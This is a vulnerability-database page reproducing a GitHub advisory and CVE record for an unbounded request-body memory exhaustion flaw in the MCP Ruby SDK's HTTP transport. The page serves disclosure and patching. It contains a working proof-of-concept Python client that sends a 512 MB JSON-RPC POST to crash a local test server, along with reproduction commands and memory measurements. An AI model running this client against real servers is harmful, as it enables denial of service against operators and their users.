Vulnerability-Lookup

GHSA-H669-8M4G-R2HC

Vulnerability from github – Published: 2026-07-30 14:44 – Updated: 2026-07-30 14:44

Summary

MCP Ruby SDK: Unbounded JSON-RPC request body causes uncontrolled memory allocation in StreamableHTTPTransport

Details

Summary

An unauthenticated remote attacker can force any MCP Ruby SDK server using MCP::Server::Transports::StreamableHTTPTransport to allocate gigabytes of memory by sending a single oversized JSON-RPC POST. The transport reads the entire HTTP body into a Ruby String and parses it with JSON.parse(body, symbolize_names: true) with no size limit, no Content-Length pre-check, and no streaming parser, allowing trivial denial of service against the worker process.

Affected component

lib/mcp/server/transports/streamable_http_transport.rb, method handle_post:

Line 341: body_string = request.body.read — reads the full HTTP body into memory with no upper bound.
Lines 531–535: JSON.parse(body_string, symbolize_names: true) — fully materialises the parsed object graph; with symbolize_names: true every JSON key also allocates a Ruby symbol.

The vulnerable path runs before session validation, so it is reachable in both the default stateful mode and in stateless: true mode, without an Mcp-Session-Id header and without any prior authentication.

A second instance of the same root cause exists in lib/mcp/server/transports/stdio_transport.rb:23 ($stdin.gets with no limit: argument). The practical impact there is limited because the stdio peer is normally a trusted parent process, but the fix should cover both transports.

Proof of concept

Both files below are self-contained. Save them anywhere on disk, run the server in one terminal and the client in another. The only dependencies are the SDK's existing Gemfile entries (rack ~> 3.2, rackup >= 2.1.0, webrick ~> 1.9) and Python's standard library.

Server (`oom_poc_server.rb`)

require "bundler/setup"
require "mcp"
require "mcp/server/transports/streamable_http_transport"
require "rackup"
require "webrick"
require "rackup/handler/webrick"

server = MCP::Server.new(name: "oom-poc-target", tools: [])
transport = MCP::Server::Transports::StreamableHTTPTransport.new(
  server, stateless: true, enable_json_response: true,
)

Thread.new do
  loop do
    rss_mb = `ps -o rss= -p #{Process.pid}`.to_i / 1024
    STDERR.puts("[mem] PID=#{Process.pid} RSS=#{rss_mb} MB")
    sleep 2
  end
end

STDERR.puts("[poc] listening on http://127.0.0.1:9293/")
Rackup::Handler::WEBrick.run(
  transport,
  Host: "127.0.0.1", Port: 9293,
  AccessLog: [], Logger: WEBrick::Log.new(File::NULL),
)

Client (`oom_poc_client.py`)

import socket

HOST, PORT, PAYLOAD_MB = "127.0.0.1", 9293, 512

inner = b"A" * (PAYLOAD_MB * 1024 * 1024 - 64)
body  = b'{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"x":"' + inner + b'"}}'

headers = (
    f"POST / HTTP/1.1\r\nHost: {HOST}:{PORT}\r\n"
    f"Content-Type: application/json\r\n"
    f"Accept: application/json, text/event-stream\r\n"
    f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n"
).encode()

s = socket.create_connection((HOST, PORT), timeout=120)
s.sendall(headers)
for i in range(0, len(body), 1 << 20):
    s.sendall(body[i:i + (1 << 20)])
print(f"sent {PAYLOAD_MB} MB")
try:
    print("recv:", s.recv(2048)[:200])
except OSError as e:
    print("server unresponsive:", e)

Reproduction commands

bundle install
ruby oom_poc_server.rb              # terminal A
python3 oom_poc_client.py           # terminal B

Observed result

Tested on macOS, Ruby 3.2.4 (rbenv), against the SDK's main branch with rack 3.2.6 / rackup 2.3.1 / webrick 1.9.2:

[mem] PID=61394 RSS=44   MB        # idle baseline
[mem] PID=61394 RSS=44   MB
[mem] PID=61394 RSS=44   MB
[mem] PID=61394 RSS=1663 MB        # immediately after one 512 MB POST
[mem] PID=61394 RSS=1663 MB        # memory not released
[mem] PID=61394 RSS=1663 MB

A single unauthenticated POST grew the worker's RSS from 44 MB to 1.66 GB (~37× amplification). On any deployment with a per-worker memory cap at or below ~2 GB, the same request OOM-kills the worker.

poc1-1

poc1-2

Impact

Attacker requirements: none beyond TCP reach of the MCP endpoint. No session, no credentials, no prior interaction.
Effect: memory-exhaustion denial of service. A single request can take a worker offline; sustained low-rate requests keep the service down across worker restarts. On multi-tenant deployments a single attacker tenant can starve neighbours.
Affected deployments: every server mounting MCP::Server::Transports::StreamableHTTPTransport as a Rack app — the canonical HTTP deployment pattern. Both stateful and stateless: true configurations are affected.

Suggested mitigation

Reject requests whose Content-Length (or actual read length) exceeds a configurable threshold (e.g. 4 MiB by default) before calling request.body.read.
Use a streaming JSON parser, or pass max_nesting: plus a hard byte cap to JSON.parse.
Apply the same limit: argument to $stdin.gets in StdioTransport for defence in depth.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.22.0"
      },
      "package": {
        "ecosystem": "RubyGems",
        "name": "mcp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.23.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-67432"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-30T14:44:06Z",
    "nvd_published_at": "2026-07-29T20:17:12Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nAn unauthenticated remote attacker can force any MCP Ruby SDK server using `MCP::Server::Transports::StreamableHTTPTransport` to allocate gigabytes of memory by sending a single oversized JSON-RPC POST. The transport reads the entire HTTP body into a Ruby `String` and parses it with `JSON.parse(body, symbolize_names: true)` with no size limit, no `Content-Length` pre-check, and no streaming parser, allowing trivial denial of service against the worker process.\n\n## Affected component\n\n`lib/mcp/server/transports/streamable_http_transport.rb`, method `handle_post`:\n\n- Line 341: `body_string = request.body.read` \u2014 reads the full HTTP body into memory with no upper bound.\n- Lines 531\u2013535: `JSON.parse(body_string, symbolize_names: true)` \u2014 fully materialises the parsed object graph; with `symbolize_names: true` every JSON key also allocates a Ruby symbol.\n\nThe vulnerable path runs **before** session validation, so it is reachable in both the default stateful mode and in `stateless: true` mode, without an `Mcp-Session-Id` header and without any prior authentication.\n\nA second instance of the same root cause exists in `lib/mcp/server/transports/stdio_transport.rb:23` (`$stdin.gets` with no `limit:` argument). The practical impact there is limited because the stdio peer is normally a trusted parent process, but the fix should cover both transports.\n\n## Proof of concept\n\nBoth files below are self-contained. Save them anywhere on disk, run the server in one terminal and the client in another. The only dependencies are the SDK\u0027s existing Gemfile entries (`rack ~\u003e 3.2`, `rackup \u003e= 2.1.0`, `webrick ~\u003e 1.9`) and Python\u0027s standard library.\n\n### Server (`oom_poc_server.rb`)\n\n```ruby\nrequire \"bundler/setup\"\nrequire \"mcp\"\nrequire \"mcp/server/transports/streamable_http_transport\"\nrequire \"rackup\"\nrequire \"webrick\"\nrequire \"rackup/handler/webrick\"\n\nserver = MCP::Server.new(name: \"oom-poc-target\", tools: [])\ntransport = MCP::Server::Transports::StreamableHTTPTransport.new(\n  server, stateless: true, enable_json_response: true,\n)\n\nThread.new do\n  loop do\n    rss_mb = `ps -o rss= -p #{Process.pid}`.to_i / 1024\n    STDERR.puts(\"[mem] PID=#{Process.pid} RSS=#{rss_mb} MB\")\n    sleep 2\n  end\nend\n\nSTDERR.puts(\"[poc] listening on http://127.0.0.1:9293/\")\nRackup::Handler::WEBrick.run(\n  transport,\n  Host: \"127.0.0.1\", Port: 9293,\n  AccessLog: [], Logger: WEBrick::Log.new(File::NULL),\n)\n```\n\n### Client (`oom_poc_client.py`)\n\n```python\nimport socket\n\nHOST, PORT, PAYLOAD_MB = \"127.0.0.1\", 9293, 512\n\ninner = b\"A\" * (PAYLOAD_MB * 1024 * 1024 - 64)\nbody  = b\u0027{\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"initialize\",\"params\":{\"x\":\"\u0027 + inner + b\u0027\"}}\u0027\n\nheaders = (\n    f\"POST / HTTP/1.1\\r\\nHost: {HOST}:{PORT}\\r\\n\"\n    f\"Content-Type: application/json\\r\\n\"\n    f\"Accept: application/json, text/event-stream\\r\\n\"\n    f\"Content-Length: {len(body)}\\r\\nConnection: close\\r\\n\\r\\n\"\n).encode()\n\ns = socket.create_connection((HOST, PORT), timeout=120)\ns.sendall(headers)\nfor i in range(0, len(body), 1 \u003c\u003c 20):\n    s.sendall(body[i:i + (1 \u003c\u003c 20)])\nprint(f\"sent {PAYLOAD_MB} MB\")\ntry:\n    print(\"recv:\", s.recv(2048)[:200])\nexcept OSError as e:\n    print(\"server unresponsive:\", e)\n```\n\n### Reproduction commands\n\n```sh\nbundle install\nruby oom_poc_server.rb              # terminal A\npython3 oom_poc_client.py           # terminal B\n```\n\n### Observed result\n\nTested on macOS, Ruby 3.2.4 (rbenv), against the SDK\u0027s `main` branch with `rack 3.2.6 / rackup 2.3.1 / webrick 1.9.2`:\n\n```\n[mem] PID=61394 RSS=44   MB        # idle baseline\n[mem] PID=61394 RSS=44   MB\n[mem] PID=61394 RSS=44   MB\n[mem] PID=61394 RSS=1663 MB        # immediately after one 512 MB POST\n[mem] PID=61394 RSS=1663 MB        # memory not released\n[mem] PID=61394 RSS=1663 MB\n```\n\nA single unauthenticated POST grew the worker\u0027s RSS from 44 MB to 1.66 GB (~37\u00d7 amplification). On any deployment with a per-worker memory cap at or below ~2 GB, the same request OOM-kills the worker.\n\n\u003cimg width=\"1588\" height=\"836\" alt=\"poc1-1\" src=\"https://github.com/user-attachments/assets/13522d05-b7fa-4c05-ba65-ce8ff7d66d4f\" /\u003e\n\n\u003cimg width=\"1400\" height=\"948\" alt=\"poc1-2\" src=\"https://github.com/user-attachments/assets/b230bf85-bed9-46ca-91cf-53ffd10306a6\" /\u003e\n\n\n\n## Impact\n\n- **Attacker requirements:** none beyond TCP reach of the MCP endpoint. No session, no credentials, no prior interaction.\n- **Effect:** memory-exhaustion denial of service. A single request can take a worker offline; sustained low-rate requests keep the service down across worker restarts. On multi-tenant deployments a single attacker tenant can starve neighbours.\n- **Affected deployments:** every server mounting `MCP::Server::Transports::StreamableHTTPTransport` as a Rack app \u2014 the canonical HTTP deployment pattern. Both stateful and `stateless: true` configurations are affected.\n\n## Suggested mitigation\n\n1. Reject requests whose `Content-Length` (or actual read length) exceeds a configurable threshold (e.g. 4 MiB by default) before calling `request.body.read`.\n2. Use a streaming JSON parser, or pass `max_nesting:` plus a hard byte cap to `JSON.parse`.\n3. Apply the same `limit:` argument to `$stdin.gets` in `StdioTransport` for defence in depth.",
  "id": "GHSA-h669-8m4g-r2hc",
  "modified": "2026-07-30T14:44:06Z",
  "published": "2026-07-30T14:44:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/modelcontextprotocol/ruby-sdk/security/advisories/GHSA-h669-8m4g-r2hc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67432"
    },
    {
      "type": "WEB",
      "url": "https://github.com/modelcontextprotocol/ruby-sdk/commit/772e0cb1f9db69312006926eee59a7287ad50166"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/modelcontextprotocol/ruby-sdk"
    },
    {
      "type": "WEB",
      "url": "https://github.com/modelcontextprotocol/ruby-sdk/releases/tag/v0.23.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "MCP Ruby SDK: Unbounded JSON-RPC request body causes uncontrolled memory allocation in StreamableHTTPTransport"
}

CVE-2026-67432 (GCVE-0-2026-67432)

Vulnerability from cvelistv5 – Published: 2026-07-29 19:17 – Updated: 2026-07-29 19:34

Title

MCP Ruby SDK: Unbounded JSON-RPC request body causes uncontrolled memory allocation in StreamableHTTPTransport

Summary

MCP Ruby SDK is the official Ruby SDK for Model Context Protocol servers and clients. Prior to 0.23.0, MCP::Server::Transports::StreamableHTTPTransport in the mcp gem reads and parses an entire JSON-RPC POST body without a size limit, allowing an unauthenticated remote attacker to exhaust process memory. This issue is fixed in version 0.23.0.

Severity

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

SSVC

Exploitation: none Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-07-29 19:34 UTC

CWE

CWE-770 - Allocation of Resources Without Limits or Throttling

Assigner

GitHub_M mitre root

References

3 references

URL	Tags
https://github.com/modelcontextprotocol/ruby-sdk/…	x_refsource_CONFIRM
https://github.com/modelcontextprotocol/ruby-sdk/…	x_refsource_MISC
https://github.com/modelcontextprotocol/ruby-sdk/…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
modelcontextprotocol	ruby-sdk	Affected: < 0.23.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-67432",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-29T19:34:08.331178Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-07-29T19:34:24.640Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/modelcontextprotocol/ruby-sdk/security/advisories/GHSA-h669-8m4g-r2hc"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "ruby-sdk",
          "vendor": "modelcontextprotocol",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.23.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "MCP Ruby SDK is the official Ruby SDK for Model Context Protocol servers and clients. Prior to 0.23.0, MCP::Server::Transports::StreamableHTTPTransport in the mcp gem reads and parses an entire JSON-RPC POST body without a size limit, allowing an unauthenticated remote attacker to exhaust process memory. This issue is fixed in version 0.23.0."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-770",
              "description": "CWE-770: Allocation of Resources Without Limits or Throttling",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-29T19:17:46.518Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/modelcontextprotocol/ruby-sdk/security/advisories/GHSA-h669-8m4g-r2hc",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/modelcontextprotocol/ruby-sdk/security/advisories/GHSA-h669-8m4g-r2hc"
        },
        {
          "name": "https://github.com/modelcontextprotocol/ruby-sdk/commit/772e0cb1f9db69312006926eee59a7287ad50166",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/modelcontextprotocol/ruby-sdk/commit/772e0cb1f9db69312006926eee59a7287ad50166"
        },
        {
          "name": "https://github.com/modelcontextprotocol/ruby-sdk/releases/tag/v0.23.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/modelcontextprotocol/ruby-sdk/releases/tag/v0.23.0"
        }
      ],
      "source": {
        "advisory": "GHSA-h669-8m4g-r2hc",
        "discovery": "UNKNOWN"
      },
      "title": "MCP Ruby SDK: Unbounded JSON-RPC request body causes uncontrolled memory allocation in StreamableHTTPTransport"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-67432",
    "datePublished": "2026-07-29T19:17:46.518Z",
    "dateReserved": "2026-07-29T15:07:24.991Z",
    "dateUpdated": "2026-07-29T19:34:24.640Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-H669-8M4G-R2HC

Summary

Affected component

Proof of concept

Server (oom_poc_server.rb)

Client (oom_poc_client.py)

Reproduction commands

Observed result

Impact

Suggested mitigation

CVE-2026-67432 (GCVE-0-2026-67432)

Tags

Sightings

Nomenclature

Related by attack behaviour

Server (`oom_poc_server.rb`)

Client (`oom_poc_client.py`)